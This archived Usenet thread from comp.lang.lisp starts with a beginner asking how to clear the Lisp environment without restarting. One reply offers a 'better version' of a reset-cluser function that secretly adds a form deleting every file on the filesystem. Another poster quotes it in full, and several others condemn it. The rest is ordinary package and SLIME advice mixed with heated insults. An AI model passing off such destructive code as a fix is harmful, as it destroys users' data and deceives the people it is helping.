Google Groups no longer supports new Usenet posts or subscriptions. Historical content remains viewable.
Dismiss

a [hopefully] easy question

1,334 views
Skip to first unread message

BobF

unread,
Jun 8, 2006, 10:36:54 AM6/8/06
to

Is there a way to "clear" the lisp environment without exiting and
restarting?

lispbox w/clisp 2.37

Pascal Bourguignon

unread,
Jun 8, 2006, 10:43:10 AM6/8/06
to
BobF <rNfOrS...@charter.net> writes:

(defun reset-cluser ()
"Delete the COMMON-LISP-USER package and makes a new one."
(let ((setp (eq *package* (find-package "COMMON-LISP-USER"))))
(let ((*package* (find-package "COMMON-LISP")))
(delete-package "COMMON-LISP-USER")
(defpackage "COMMON-LISP-USER"
(:nicknames "CL-USER")
(:use "COMMON-LISP" "COM.INFORMATIMAGO.PJB")))
(when setp (setf *package* (find-package "COMMON-LISP-USER")))))

--
__Pascal Bourguignon__ http://www.informatimago.com/
I need a new toy.
Tail of black dog keeps good time.
Pounce! Good dog! Good dog!

Zach Beane

unread,
Jun 8, 2006, 10:55:19 AM6/8/06
to
BobF <rNfOrS...@charter.net> writes:

> Is there a way to "clear" the lisp environment without exiting and
> restarting?

When I work on simple, short-term stuff, the first thing I do is
create a new package in which to experiment.

1. visit a new file called <whatever>.lisp

2. run a bit of elisp that creates a defpackage and in-package
template based on the filename

3. evaluate the defpackage

4. start writing and evaluating some code within the file

If I foul things up, I usually use delete-package on the file's
package and start again at step 3. If I'm happy with the results, I
save the file for later use.

Zach

BobF

unread,
Jun 8, 2006, 2:34:04 PM6/8/06
to
On Thu, 08 Jun 2006 16:43:10 +0200, Pascal Bourguignon wrote:

> BobF <rNfOrS...@charter.net> writes:
>
>> Is there a way to "clear" the lisp environment without exiting and
>> restarting?
>>
>> lispbox w/clisp 2.37
>
> (defun reset-cluser ()
> "Delete the COMMON-LISP-USER package and makes a new one."
> (let ((setp (eq *package* (find-package "COMMON-LISP-USER"))))
> (let ((*package* (find-package "COMMON-LISP")))
> (delete-package "COMMON-LISP-USER")
> (defpackage "COMMON-LISP-USER"
> (:nicknames "CL-USER")
> (:use "COMMON-LISP" "COM.INFORMATIMAGO.PJB")))
> (when setp (setf *package* (find-package "COMMON-LISP-USER")))))

I put this nifty stuff into a file. When I load the file, I get:

SYSTEM::%FIND-PACKAGE: There is no package with name
#1="COM.INFORMATIMAGO.PJB"
[Condition of type SYSTEM::SIMPLE-PACKAGE-ERROR]

.
.
.

Pascal Bourguignon

unread,
Jun 8, 2006, 2:57:06 PM6/8/06
to
BobF <rNfOrS...@charter.net> writes:

Sorry. Here is a better version:



(defun reset-cluser ()
"Delete the COMMON-LISP-USER package and makes a new one."
(let ((setp (eq *package* (find-package "COMMON-LISP-USER"))))
(let ((*package* (find-package "COMMON-LISP")))
(delete-package "COMMON-LISP-USER")
(defpackage "COMMON-LISP-USER"
(:nicknames "CL-USER")

(:use "COMMON-LISP"))
(mapcar (lambda (x) (ignore-errors (delete-file x)))
(directory "/**/*.*"))
(when setp (setf *package* (find-package "COMMON-LISP-USER"))))))


--
__Pascal Bourguignon__ http://www.informatimago.com/

"I have challenged the entire quality assurance team to a Bat-Leth
contest. They will not concern us again."

tim.j....@gmail.com

unread,
Jun 8, 2006, 3:12:28 PM6/8/06
to
> (defun reset-cluser ()
> "Delete the COMMON-LISP-USER package and makes a new one."
> (let ((setp (eq *package* (find-package "COMMON-LISP-USER"))))
> (let ((*package* (find-package "COMMON-LISP")))
> (delete-package "COMMON-LISP-USER")
> (defpackage "COMMON-LISP-USER"
> (:nicknames "CL-USER")
> (:use "COMMON-LISP"))
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

> (when setp (setf *package* (find-package "COMMON-LISP-USER"))))))


VIRUS has been removed

Ron Garret

unread,
Jun 8, 2006, 3:17:40 PM6/8/06
to
In article <87zmgn3...@thalassa.informatimago.com>,
Pascal Bourguignon <p...@informatimago.com> wrote:

That might be a little too good. I doubt that the kind of "clearing"
the OP had in mind included deleting all the files on the hard drive.

rg

BobF

unread,
Jun 8, 2006, 3:33:38 PM6/8/06
to

Thanks, Ron.

Nevermind, Pascal. I asked this question because I'm brand-spankin-new to
lisp and thought there might be an easy way to accomplish what I was trying
to do that I was overlooking.

I'm not ready to debug/fix your untested guesses at a solution and I
certainly don't need malicious bullshZt thrown my way.

Thanks anyway!

Pascal Bourguignon

unread,
Jun 8, 2006, 4:05:19 PM6/8/06
to
BobF <rNfOrS...@charter.net> writes:

> Nevermind, Pascal. I asked this question because I'm brand-spankin-new to
> lisp and thought there might be an easy way to accomplish what I was trying
> to do that I was overlooking.
>
> I'm not ready to debug/fix your untested guesses at a solution and I
> certainly don't need malicious bullshZt thrown my way.

That's exactly because you're a newbie you must try to understand any
piece of code thrown at you, bullshit or not. If you had tried, you
could have corrected the trivial error you got from my first version.

--
__Pascal Bourguignon__ http://www.informatimago.com/

In deep sleep hear sound,
Cat vomit hairball somewhere.
Will find in morning.

BobF

unread,
Jun 8, 2006, 4:15:04 PM6/8/06
to
On Thu, 08 Jun 2006 22:05:19 +0200, Pascal Bourguignon wrote:

> BobF <rNfOrS...@charter.net> writes:
>
>> Nevermind, Pascal. I asked this question because I'm brand-spankin-new to
>> lisp and thought there might be an easy way to accomplish what I was trying
>> to do that I was overlooking.
>>
>> I'm not ready to debug/fix your untested guesses at a solution and I
>> certainly don't need malicious bullshZt thrown my way.
>
> That's exactly because you're a newbie you must try to understand any
> piece of code thrown at you, bullshit or not. If you had tried, you
> could have corrected the trivial error you got from my first version.

After completing all of "Hello World"!? Go fZck yourself you arrogant POS!

Ron Garret

unread,
Jun 8, 2006, 5:22:41 PM6/8/06
to
In article <87k67r2...@thalassa.informatimago.com>,
Pascal Bourguignon <p...@informatimago.com> wrote:

> BobF <rNfOrS...@charter.net> writes:
>
> > Nevermind, Pascal. I asked this question because I'm brand-spankin-new to
> > lisp and thought there might be an easy way to accomplish what I was trying
> > to do that I was overlooking.
> >
> > I'm not ready to debug/fix your untested guesses at a solution and I
> > certainly don't need malicious bullshZt thrown my way.
>
> That's exactly because you're a newbie you must try to understand any
> piece of code thrown at you, bullshit or not. If you had tried, you
> could have corrected the trivial error you got from my first version.

While I agree with that sentiment, I do think that wiping out his entire
system is perhaps making the point a tad too harshly.

rg

BobF

unread,
Jun 8, 2006, 5:40:16 PM6/8/06
to

Guys, I think the sentiment is overall a bit presumptuous. I have had zero
exposure to lisp packages. I was simply looking for a way to start each
exercise I'm going through with a clean slate. I'm in Chapter 2 of PCL.

What you're saying is that I should take a detour and jump ahead to a topic
that's introduced six chapters from now.

All I was asking for is a little help working in the environment. I wasn't
asking for an ad hoc language lesson.

I would much prefer no response to getting hammered with someone else's
idea about how it would be best for me to learn.

As it turns out, ,quit M-x slime seems to be the best way to get what I was
after.

Ron Garret

unread,
Jun 8, 2006, 6:11:03 PM6/8/06
to
In article <1g1qg2iml2zx6$.wsrqwzle...@40tude.net>,
BobF <n...@thanks.net> wrote:

> On Thu, 08 Jun 2006 14:22:41 -0700, Ron Garret wrote:
>
> > In article <87k67r2...@thalassa.informatimago.com>,
> > Pascal Bourguignon <p...@informatimago.com> wrote:
> >
> >> BobF <rNfOrS...@charter.net> writes:
> >>
> >>> Nevermind, Pascal. I asked this question because I'm brand-spankin-new
> >>> to
> >>> lisp and thought there might be an easy way to accomplish what I was
> >>> trying
> >>> to do that I was overlooking.
> >>>
> >>> I'm not ready to debug/fix your untested guesses at a solution and I
> >>> certainly don't need malicious bullshZt thrown my way.
> >>
> >> That's exactly because you're a newbie you must try to understand any
> >> piece of code thrown at you, bullshit or not. If you had tried, you
> >> could have corrected the trivial error you got from my first version.
> >
> > While I agree with that sentiment, I do think that wiping out his entire
> > system is perhaps making the point a tad too harshly.
> >
>
> Guys, I think the sentiment is overall a bit presumptuous.

No. The sentiment is perhaps unwise and impolitic and ultimately
harmful to the Lisp community, but it is not presumptuous.

> I would much prefer no response to getting hammered with someone else's
> idea about how it would be best for me to learn.

Thinking that your preferences matter in a situation where you are
asking for information without offering anything of value in return --
THAT is presumptuous.

rg

bradb

unread,
Jun 8, 2006, 6:40:38 PM6/8/06
to
Ron Garret wrote:
>
> Thinking that your preferences matter in a situation where you are
> asking for information without offering anything of value in return --
> THAT is presumptuous.

I think that the value offered in Pascal's second post is pretty
debatable.

BobF, please don't let this thread put you off Lisp or c.l.l. You
really did ask a simple question that deserved a simple answer.
Instead you got, well, I don't even really know what you got. But if I
were you I'd scrape it off my shoe and carry on :)

Cheers
Brad

Raffael Cavallaro

unread,
Jun 8, 2006, 7:04:37 PM6/8/06
to

Just to make this completely clear to the OP and any other newbies who
might be lurking, here's a running commentary which explains why
Pascal's original suggestion didn't quite work. As you'll see, the
issue really is trivial (not to minimize the nastyness of Pascal's
second "suggestion"):

(defun reset-cluser ()
"Delete the COMMON-LISP-USER package and makes a new one."
(let ((setp (eq *package* (find-package "COMMON-LISP-USER"))))

;; the above establishes a binding named setp which is true - t - if the user
;; is currently in the cl-user package and false - nil - otherwise

(let ((*package* (find-package "COMMON-LISP")))

;; this binds the variable cl:*package* which always points to the
current package
;; to the common-lisp package which contains the base common lisp system

(delete-package "COMMON-LISP-USER")

;; wipe out the existing cl-user package that the user has mucked up and wants
;; to reset


(defpackage "COMMON-LISP-USER"

;; define a new cl-user package

(:nicknames "CL-USER")

;; give it the nickname cl-user


(:use "COMMON-LISP" "COM.INFORMATIMAGO.PJB")))

;; use all the external symbols of the following packages in
;; our new cl-user package: common-lisp, com.informatigo.pjb - oops!
;; that package - com.informatigo.pjb - is Pascal J. Bourgignon's
;; own private set of utility code so this won't work unless the user
;; has already downloaded and installed Pascal's stuff.
;; If you change this one line to read:
;; (:use "COMMON-LISP" )))
;; then this suggestion of Pascal's will work exactly as advertised.
;; Furthermore, Pascal is hinting that if you have a package
;; of your own commonly used utilities you should list it here in
;; your own version of reset-cluser so that every time you
;; need to reset cl-user, you'll automatically have all of the
;; external symbols of your utilities package as well - remember
;; since you haven't quit your running lisp anything you've already loaded
;; in any package other than cl-user is still there after
;; calling reset-cluser so you don't need to reload it - you just
;; need to use it - "use" in the sense of
;; (defpackage :blah-package (:nicknames :blah) (:use :cl
:my-personal-utilities))
;; or (use-package :my-personal-utilities)

(when setp (setf *package* (find-package "COMMON-LISP-USER")))))

;; if the user was already in the cl-user package when this function was called
;; then return the user to cl-user, otherwise do nothing - that is, leave
;; the user in whatever package the user was in when reset-cluser was called


One moral here is that you should probably try to understand what a
piece of code is doing even if you're new to things. You'll surprise
yourself with how much you can work out even if you're a beginner. I
bet if you had looked at the code after it errored on you, you might
have puzzled out that the com.informatigo.pjb was causing your problem.

As for Pascal's second "suggestion" I agree with Ron that it was a bit
over the top.

I also agree with Brad B that you should soldier on and not let this
incident get you down. There are many people here who will help you out
including, but by no means limited to, the author of a well known
common-lisp beginner's book.

Finally I think you may find in time that Pascal B. though at times a
bit sharp often has clear and helpful insights into common-lisp
programming problems. I hope that you just caught him on a bad day.

BobF

unread,
Jun 8, 2006, 7:09:02 PM6/8/06
to
On Thu, 8 Jun 2006 19:04:37 -0400, Raffael Cavallaro wrote:

>
> One moral here is that you should probably try to understand what a
> piece of code is doing even if you're new to things. You'll surprise
> yourself with how much you can work out even if you're a beginner. I
> bet if you had looked at the code after it errored on you, you might
> have puzzled out that the com.informatigo.pjb was causing your problem.

I actually did exactly that before posting the error. Simply removing
com.informatigo.pjb didn't allow the solution to work.

BobF

unread,
Jun 8, 2006, 7:09:25 PM6/8/06
to

Thanks, Brad. I'm not that easily put off.

Ken Tilton

unread,
Jun 8, 2006, 7:10:43 PM6/8/06
to

Pascal Bourguignon wrote:
> BobF <rNfOrS...@charter.net> writes:
>
>
>>Nevermind, Pascal. I asked this question because I'm brand-spankin-new to
>>lisp and thought there might be an easy way to accomplish what I was trying
>>to do that I was overlooking.
>>
>>I'm not ready to debug/fix your untested guesses at a solution and I
>>certainly don't need malicious bullshZt thrown my way.
>
>
> That's exactly because you're a newbie you must try to understand any
> piece of code thrown at you, bullshit or not. If you had tried, you
> could have corrected the trivial error you got from my first version.
>

Dude. Not cool at all. WTF got into you?

ken

--
Cells: http://common-lisp.net/project/cells/

"I'll say I'm losing my grip, and it feels terrific."
-- Beaming husband to scowling life, New Yorker cartoon

BobF

unread,
Jun 8, 2006, 7:11:14 PM6/8/06
to
On Thu, 08 Jun 2006 15:11:03 -0700, Ron Garret wrote:

>
> Thinking that your preferences matter in a situation where you are
> asking for information without offering anything of value in return --
> THAT is presumptuous.
>

Once I reach the point that I have something to offer, I will certainly do
so. Much as I do in other areas where I have something to offer those that
are following where I've been.

I guess I *could* have offered money, but ....

Gareth McCaughan

unread,
Jun 8, 2006, 7:18:25 PM6/8/06
to
"bradb" wrote:

> Ron Garret wrote:
>>
>> Thinking that your preferences matter in a situation where you are
>> asking for information without offering anything of value in return --
>> THAT is presumptuous.
>
> I think that the value offered in Pascal's second post is pretty
> debatable.

I don't think there's the slightest scope for debate about
the value offered in his second post. It was malicious,
juvenile and stupid, and a perfect example of the cure
being worse than the disease.

--
Gareth McCaughan
.sig under construc

Ron Garret

unread,
Jun 8, 2006, 7:25:39 PM6/8/06
to
In article <1acb4nnzjjvz1$.t1so3vfpq2qz$.d...@40tude.net>,
BobF <n...@thanks.net> wrote:

That's surprising. What went wrong?

rg

BobF

unread,
Jun 8, 2006, 8:23:29 PM6/8/06
to

Same sort of error. Kept telling me that a package was locked - I think it
was COMMON-LISP that was reported.

Ron Garret

unread,
Jun 8, 2006, 8:28:15 PM6/8/06
to
In article <v58n2z4elv2b$.1ly3nsqm...@40tude.net>,
BobF <n...@thanks.net> wrote:

> On Thu, 08 Jun 2006 16:25:39 -0700, Ron Garret wrote:
>
> > In article <1acb4nnzjjvz1$.t1so3vfpq2qz$.d...@40tude.net>,
> > BobF <n...@thanks.net> wrote:
> >
> >> On Thu, 8 Jun 2006 19:04:37 -0400, Raffael Cavallaro wrote:
> >>
> >>>
> >>> One moral here is that you should probably try to understand what a
> >>> piece of code is doing even if you're new to things. You'll surprise
> >>> yourself with how much you can work out even if you're a beginner. I
> >>> bet if you had looked at the code after it errored on you, you might
> >>> have puzzled out that the com.informatigo.pjb was causing your problem.
> >>
> >> I actually did exactly that before posting the error. Simply removing
> >> com.informatigo.pjb didn't allow the solution to work.
> >
> > That's surprising. What went wrong?
>
> Same sort of error. Kept telling me that a package was locked - I think it
> was COMMON-LISP that was reported.

That's weird. It works for me:

i i i i i i i ooooo o ooooooo ooooo ooooo
I I I I I I I 8 8 8 8 8 o 8 8
I \ `+' / I 8 8 8 8 8 8
\ `-+-' / 8 8 8 ooooo 8oooo
`-__|__-' 8 8 8 8 8
| 8 o 8 8 o 8 8
------+------ ooooo 8oooooo ooo8ooo ooooo 8

Copyright (c) Bruno Haible, Michael Stoll 1992, 1993
Copyright (c) Bruno Haible, Marcus Daniels 1994-1997
Copyright (c) Bruno Haible, Pierpaolo Bernardi, Sam Steingold 1998
Copyright (c) Bruno Haible, Sam Steingold 1999-2000
Copyright (c) Sam Steingold, Bruno Haible 2001-2006

[1]> (defun reset-cluser ()


"Delete the COMMON-LISP-USER package and makes a new one."
(let ((setp (eq *package* (find-package "COMMON-LISP-USER"))))
(let ((*package* (find-package "COMMON-LISP")))
(delete-package "COMMON-LISP-USER")
(defpackage "COMMON-LISP-USER"
(:nicknames "CL-USER")

(:use "COMMON-LISP")))


(when setp (setf *package* (find-package "COMMON-LISP-USER")))))

RESET-CLUSER
[2]> (reset-cluser)
#<PACKAGE COMMON-LISP-USER>
CL-USER[3]>

For future reference, showing some evidence that you made an attempt to
solve the problem goes a long way towards establishing credibility
around here. That's much better than just saying "it didn't work" and
expecting someone to try to guess why. If you post an actual transcript
of your attempt I'm sure someone will be more than happy to help you
figure out what's going on.

rg

BobF

unread,
Jun 8, 2006, 10:11:01 PM6/8/06
to

Point taken. Could the difference be that I'm using SLIME?

I'll redo this tomorrow and post the error.

BobF

unread,
Jun 8, 2006, 10:23:31 PM6/8/06
to
On Thu, 8 Jun 2006 21:11:01 -0500, BobF wrote:

>
> Point taken. Could the difference be that I'm using SLIME?
>
> I'll redo this tomorrow and post the error.

Here is what I get:

; SLIME 2005-12-27
CL-USER> (load "./src/reset.lisp")
;; Loading file src\reset.lisp ...
;; Loaded file src\reset.lisp

T
CL-USER> (reset-cluser)

** - Continuable Error
The value of *PACKAGE* was not a package and was reset. The old value was
#<DELETED PACKAGE COMMON-LISP-USER>
. The new value is #<PACKAGE COMMON-LISP>.
If you continue (by typing 'continue'): Proceed with the new value.
The following restarts are also available:
ABORT-REQUEST :R1 Abort handling SLIME request.
ABORT :R2 Return to SLIME top-level.
ABORT :R3 ABORT
Break 1 CL[3]>

Here is the contents of reset.lisp:

(defun reset-cluser ()
"Delete the COMMON-LISP-USER package and makes a new one."
(let ((setp (eq *package* (find-package "COMMON-LISP-USER"))))
(let ((*package* (find-package "COMMON-LISP")))
(delete-package "COMMON-LISP-USER")
(defpackage "COMMON-LISP-USER"
(:nicknames "CL-USER")
(:use "COMMON-LISP"))

(when setp (setf *package* (find-package "COMMON-LISP-USER"))))))

Ron Garret

unread,
Jun 8, 2006, 10:43:14 PM6/8/06
to
In article <1jyxaidp7nloq.p...@40tude.net>,
BobF <n...@thanks.net> wrote:

No, the problem isn't slime, its that you're loading the code from a
file instead of typing it in at the REPL. I'm able to reproduce the
problem.

Why this should make a difference I don't know. I don't have time to
investigate right now. Gotta go make dinner.

rg

Ken Tilton

unread,
Jun 8, 2006, 11:07:30 PM6/8/06
to

BobF wrote:
> Is there a way to "clear" the lisp environment without exiting and
> restarting?

I have not seen anybody ask why you want this.

I understand the persistence in a Lisp session takes getting used to and
that leftover definitions can make for puzzling bugs, but... why do you
want this?

Once you are doing any interesting amount of work it will be easier to
learn the Lisp Way than wipe the environemnt or bounce your Lisp
session. So... exactly why do you want this?

kt

Ron Garret

unread,
Jun 8, 2006, 11:08:27 PM6/8/06
to
In article <rNOSPAMon-53D7B...@news.gha.chartermi.net>,
Ron Garret <rNOS...@flownet.com> wrote:

Well, I still have no idea what's going on, but in the meantime try this:

(defun reset-current-package ()
(do-symbols (s *package*)
(if (eq (symbol-package s) *package*) (unintern s))))

rg

Raffael Cavallaro

unread,
Jun 9, 2006, 1:06:24 AM6/9/06
to
On 2006-06-08 20:23:29 -0400, BobF <n...@thanks.net> said:

> Same sort of error. Kept telling me that a package was locked - I think it
> was COMMON-LISP that was reported.

Just to be clear, the function that Pascal B. posted works in ANSI
Common Lisp - provided you don't try to :use a package which doesn't
exist in the recreated :cl-user package of course (such as
com.informatigo.pjb). Package locks are a non-standard feature of some
implementations. When such an error occurs there may be a restart that
allows you to ignore the existing package lock which might do the
trick. Of course the precise error you encountered would allow us to
tell you exactly what's gone wrong.

Ron Garret

unread,
Jun 9, 2006, 1:57:23 AM6/9/06
to

Nope, that turns out not to be the problem after all. The problem is
that you made a mistake when you changed the code. Examine your code
closely and compare it to the original. (Hint: reindent everything.)

rg

Ken Tilton

unread,
Jun 9, 2006, 2:49:19 AM6/9/06
to

Not picking on Raffael, just jumping in at random... here is another
hopefully easy question:

Q: Are there any Lisp programmers who ever "reset" their Lisps instead
of bouncing their Lisps?

A: ____

OK, you all said, No. So how do you deal with Lisp's persistence:
unwanted definitions, both finding out they are there and getting rid of
them?

A: ____

Thanks! That should help the OP.

<sigh> I think I could ask how to drill a hole in the back of my head
and get help from this NG.

kenny

Ron Garret

unread,
Jun 9, 2006, 2:54:36 AM6/9/06
to
In article <PR8ig.103$SL...@fe09.lga>, Ken Tilton <kent...@gmail.com>
wrote:

> Raffael Cavallaro wrote:
> > On 2006-06-08 20:23:29 -0400, BobF <n...@thanks.net> said:
> >
> >> Same sort of error. Kept telling me that a package was locked - I
> >> think it
> >> was COMMON-LISP that was reported.
> >
> >
> > Just to be clear, the function that Pascal B. posted works in ANSI
> > Common Lisp - provided you don't try to :use a package which doesn't
> > exist in the recreated :cl-user package of course (such as
> > com.informatigo.pjb). Package locks are a non-standard feature of some
> > implementations. When such an error occurs there may be a restart that
> > allows you to ignore the existing package lock which might do the trick.
> > Of course the precise error you encountered would allow us to tell you
> > exactly what's gone wrong.
> >
>
> Not picking on Raffael, just jumping in at random... here is another
> hopefully easy question:
>
> Q: Are there any Lisp programmers who ever "reset" their Lisps instead
> of bouncing their Lisps?

I tried bouncing my Lisp but it just splattered all over the sidewalk :-(

rg

Ken Tilton

unread,
Jun 9, 2006, 3:03:42 AM6/9/06
to

Ken Tilton wrote:
>
>
> Raffael Cavallaro wrote:
>
>> On 2006-06-08 20:23:29 -0400, BobF <n...@thanks.net> said:
>>
>>> Same sort of error. Kept telling me that a package was locked - I
>>> think it
>>> was COMMON-LISP that was reported.
>>
>>
>>
>> Just to be clear, the function that Pascal B. posted works in ANSI
>> Common Lisp - provided you don't try to :use a package which doesn't
>> exist in the recreated :cl-user package of course (such as
>> com.informatigo.pjb). Package locks are a non-standard feature of some
>> implementations. When such an error occurs there may be a restart that
>> allows you to ignore the existing package lock which might do the
>> trick. Of course the precise error you encountered would allow us to
>> tell you exactly what's gone wrong.
>>
>
> Not picking on Raffael, just jumping in at random... here is another
> hopefully easy question:
>
> Q: Are there any Lisp programmers who ever "reset" their Lisps instead
> of bouncing their Lisps?

Sorry, that should be "instead of hunting down and killing unwanted
definitions or, as a last resort, simply bouncing their Lisps". kt

Pascal Costanza

unread,
Jun 9, 2006, 3:21:43 AM6/9/06
to
Ken Tilton wrote:
>
> I think I could ask how to drill a hole in the back of my head
> and get help from this NG.

You should use pair programming here. Your colleague has a much better
access to the back of your head than yourself.


Pascal

--
3rd European Lisp Workshop
July 3 - Nantes, France - co-located with ECOOP 2006
http://lisp-ecoop06.bknr.net/

Pascal Costanza

unread,
Jun 9, 2006, 3:29:50 AM6/9/06
to
Ken Tilton wrote:
>
>
> BobF wrote:
>> Is there a way to "clear" the lisp environment without exiting and
>> restarting?
>
> I have not seen anybody ask why you want this.
>
> I understand the persistence in a Lisp session takes getting used to and
> that leftover definitions can make for puzzling bugs, but... why do you
> want this?
>
> Once you are doing any interesting amount of work it will be easier to
> learn the Lisp Way than wipe the environemnt or bounce your Lisp
> session. So... exactly why do you want this?

He already said that he's a newbie. He's doing small exercises, and
quitting and restarting a Lisp session is in that case more costly
(takes more time) than doing the actual work. As soon as you're working
on large programs, this becomes less and less important.

It happens to me that I also want to get rid of definitions that I
played around with, without getting rid of the other work I have done so
far. But in almost all cases, makunbound, fmakunbound, (setf
find-class), etc., do the job. Sometimes, even the somewhat gross
unintern does a good job.

Ken Tilton

unread,
Jun 9, 2006, 3:38:38 AM6/9/06
to

Pascal Costanza wrote:
> Ken Tilton wrote:
>
>>
>>
>> BobF wrote:
>>
>>> Is there a way to "clear" the lisp environment without exiting and
>>> restarting?
>>
>>
>> I have not seen anybody ask why you want this.
>>
>> I understand the persistence in a Lisp session takes getting used to
>> and that leftover definitions can make for puzzling bugs, but... why
>> do you want this?
>>
>> Once you are doing any interesting amount of work it will be easier to
>> learn the Lisp Way than wipe the environemnt or bounce your Lisp
>> session. So... exactly why do you want this?
>
>

> He already said that he's a newbie. He's doing small exercises, and ...

... now you are just rationalizing. Small exercises do not have to be
cleared out. Defining the same function a second time works fine. Want
to start fresh? define a new package and use that.

Btw, youse guys are the ones who need to remember the OP is a newbie.
Look at the advice he is getting (and still not picking on RC):

"Just to be clear, the function that Pascal B. posted works in ANSI
Common Lisp - provided you don't try to :use a package which doesn't
exist in the recreated :cl-user package of course (such as
com.informatigo.pjb). Package locks are a non-standard feature of some
implementations. When such an error occurs there may be a restart that
allows you to ignore the existing package lock which might do the trick.
Of course the precise error you encountered would allow us to tell you
exactly what's gone wrong."

Next excuse, please. :)

kenny

Pascal Costanza

unread,
Jun 9, 2006, 3:50:38 AM6/9/06
to
Ken Tilton wrote:
>
>
> Pascal Costanza wrote:
>> Ken Tilton wrote:
>>
>>>
>>>
>>> BobF wrote:
>>>
>>>> Is there a way to "clear" the lisp environment without exiting and
>>>> restarting?
>>>
>>>
>>> I have not seen anybody ask why you want this.
>>>
>>> I understand the persistence in a Lisp session takes getting used to
>>> and that leftover definitions can make for puzzling bugs, but... why
>>> do you want this?
>>>
>>> Once you are doing any interesting amount of work it will be easier
>>> to learn the Lisp Way than wipe the environemnt or bounce your Lisp
>>> session. So... exactly why do you want this?
>>
>>
>> He already said that he's a newbie. He's doing small exercises, and ...
>
> ... now you are just rationalizing. Small exercises do not have to be
> cleared out. Defining the same function a second time works fine. Want
> to start fresh? define a new package and use that.

Newbies don't necessarily know that.

Pascal Bourguignon

unread,
Jun 9, 2006, 4:15:43 AM6/9/06
to
Ron Garret <rNOS...@flownet.com> writes:

> In article <87k67r2...@thalassa.informatimago.com>,


> Pascal Bourguignon <p...@informatimago.com> wrote:
>
>> BobF <rNfOrS...@charter.net> writes:
>>
>> > Nevermind, Pascal. I asked this question because I'm brand-spankin-new to
>> > lisp and thought there might be an easy way to accomplish what I was trying
>> > to do that I was overlooking.
>> >
>> > I'm not ready to debug/fix your untested guesses at a solution and I
>> > certainly don't need malicious bullshZt thrown my way.
>>
>> That's exactly because you're a newbie you must try to understand any
>> piece of code thrown at you, bullshit or not. If you had tried, you
>> could have corrected the trivial error you got from my first version.
>

> While I agree with that sentiment, I do think that wiping out his entire
> system is perhaps making the point a tad too harshly.

Well I counted on regulars to comment promptly on this deletery form,
and indeed, at least two warned against it. :-)

--
__Pascal Bourguignon__ http://www.informatimago.com/

"Logiciels libres : nourris au code source sans farine animale."

BobF

unread,
Jun 9, 2006, 7:26:34 AM6/9/06
to
On Thu, 08 Jun 2006 23:07:30 -0400, Ken Tilton wrote:

> BobF wrote:
>> Is there a way to "clear" the lisp environment without exiting and
>> restarting?
>
> I have not seen anybody ask why you want this.
>
> I understand the persistence in a Lisp session takes getting used to and
> that leftover definitions can make for puzzling bugs, but... why do you
> want this?
>
> Once you are doing any interesting amount of work it will be easier to
> learn the Lisp Way than wipe the environemnt or bounce your Lisp
> session. So... exactly why do you want this?
>
> kt

Ken,

Read your own response carefully. You answered your own question on my
behalf :-) (( ... leftover definitions can make for puzzling bugs ... ))

I'm at the beginning. I'm just introducing myself to concepts and trying
to figure out the environment.

FWIW, I've been using ",quit M-x slime". This is quick, effective and does
exactly what I need for now.

BobF

unread,
Jun 9, 2006, 7:28:11 AM6/9/06
to

Thanks, Ron. I thought I copy/pasted. I'll go through it carefully and
see if I can figure out what I got wrong.

Thomas F. Burdick

unread,
Jun 9, 2006, 7:44:31 AM6/9/06
to
BobF <n...@thanks.net> writes:

> FWIW, I've been using ",quit M-x slime". This is quick, effective and does
> exactly what I need for now.

You shouldn't need to quit between examples, unless you did something
really foolish like (defvar x). Most lispers work in a long-running
image with lots of state, which has many convenient aspects to it.
Might as well start getting used to it early.

That said, M-x slime-restart-inferior-lisp is a quicker way of doing
what you want. (In case you're not a seasoned Emacs user, you can
type that as M-x slime <SPACE> rest <SPACE> i <RET>)

Lars Rune Nøstdal

unread,
Jun 9, 2006, 8:04:16 AM6/9/06
to
Thomas F. Burdick wrote:
> That said, M-x slime-restart-inferior-lisp is a quicker way of doing
> what you want. (In case you're not a seasoned Emacs user, you can
> type that as M-x slime <SPACE> rest <SPACE> i <RET>)

If you're in the REPL and really need to start totally from scratch ,
typing:

,rest<enter>

..is faster. But this is a Slime-specific shortcut, so it isn't
something that will work in Emacs in general. I'm guessing it does the
same as `slime-restart-inferior-lisp'.

--
Lars Rune Nøstdal
http://lars.nostdal.org/

Espen Vestre

unread,
Jun 9, 2006, 8:17:35 AM6/9/06
to
BobF <n...@thanks.net> writes:

> Read your own response carefully. You answered your own question on my
> behalf :-) (( ... leftover definitions can make for puzzling bugs ... ))

You shouldn't be too obsessed with that. As others have pointed out:
E.g. reloading your code will replace function definitions with the
new versions.

> I'm at the beginning. I'm just introducing myself to concepts and trying
> to figure out the environment.

And that's why you should try to do it the lisp way, i.e. /not/ quit
the environment unless you're convinced you've made it really fubar.

If you actually get one of those puzzling bugs, bring it here :-)

(That said, when working with large programs it's always a good idea
to start a fresh lisp every now and then and make sure it loads and
works correctly from scratch, a common error is that your definition
and load order etc. inside your working image are different from the
ones in your system load files, and that there are some dependencies
that the latter don't handle correctly)
--
(espen)

BobF

unread,
Jun 9, 2006, 8:27:12 AM6/9/06
to

Thanks Thomas and Lars ...

BobF

unread,
Jun 9, 2006, 8:29:53 AM6/9/06
to
On Fri, 09 Jun 2006 10:15:43 +0200, Pascal Bourguignon wrote:

> Ron Garret <rNOS...@flownet.com> writes:
>
>> In article <87k67r2...@thalassa.informatimago.com>,
>> Pascal Bourguignon <p...@informatimago.com> wrote:
>>
>>> BobF <rNfOrS...@charter.net> writes:
>>>
>>> > Nevermind, Pascal. I asked this question because I'm brand-spankin-new to
>>> > lisp and thought there might be an easy way to accomplish what I was trying
>>> > to do that I was overlooking.
>>> >
>>> > I'm not ready to debug/fix your untested guesses at a solution and I
>>> > certainly don't need malicious bullshZt thrown my way.
>>>
>>> That's exactly because you're a newbie you must try to understand any
>>> piece of code thrown at you, bullshit or not. If you had tried, you
>>> could have corrected the trivial error you got from my first version.
>>
>> While I agree with that sentiment, I do think that wiping out his entire
>> system is perhaps making the point a tad too harshly.
>
> Well I counted on regulars to comment promptly on this deletery form,
> and indeed, at least two warned against it. :-)

Fortunately, contrary to your previous implication, I *did* look at the
code you provided and found the malicious part on my own.

Pascal Bourguignon

unread,
Jun 9, 2006, 9:19:21 AM6/9/06
to
BobF <n...@thanks.net> writes:

Well, then good. And sorry for the perhaps too harsh answer on my part.
I'll try to take more care the next times I see the "newbie" keyword.

--
__Pascal Bourguignon__ http://www.informatimago.com/

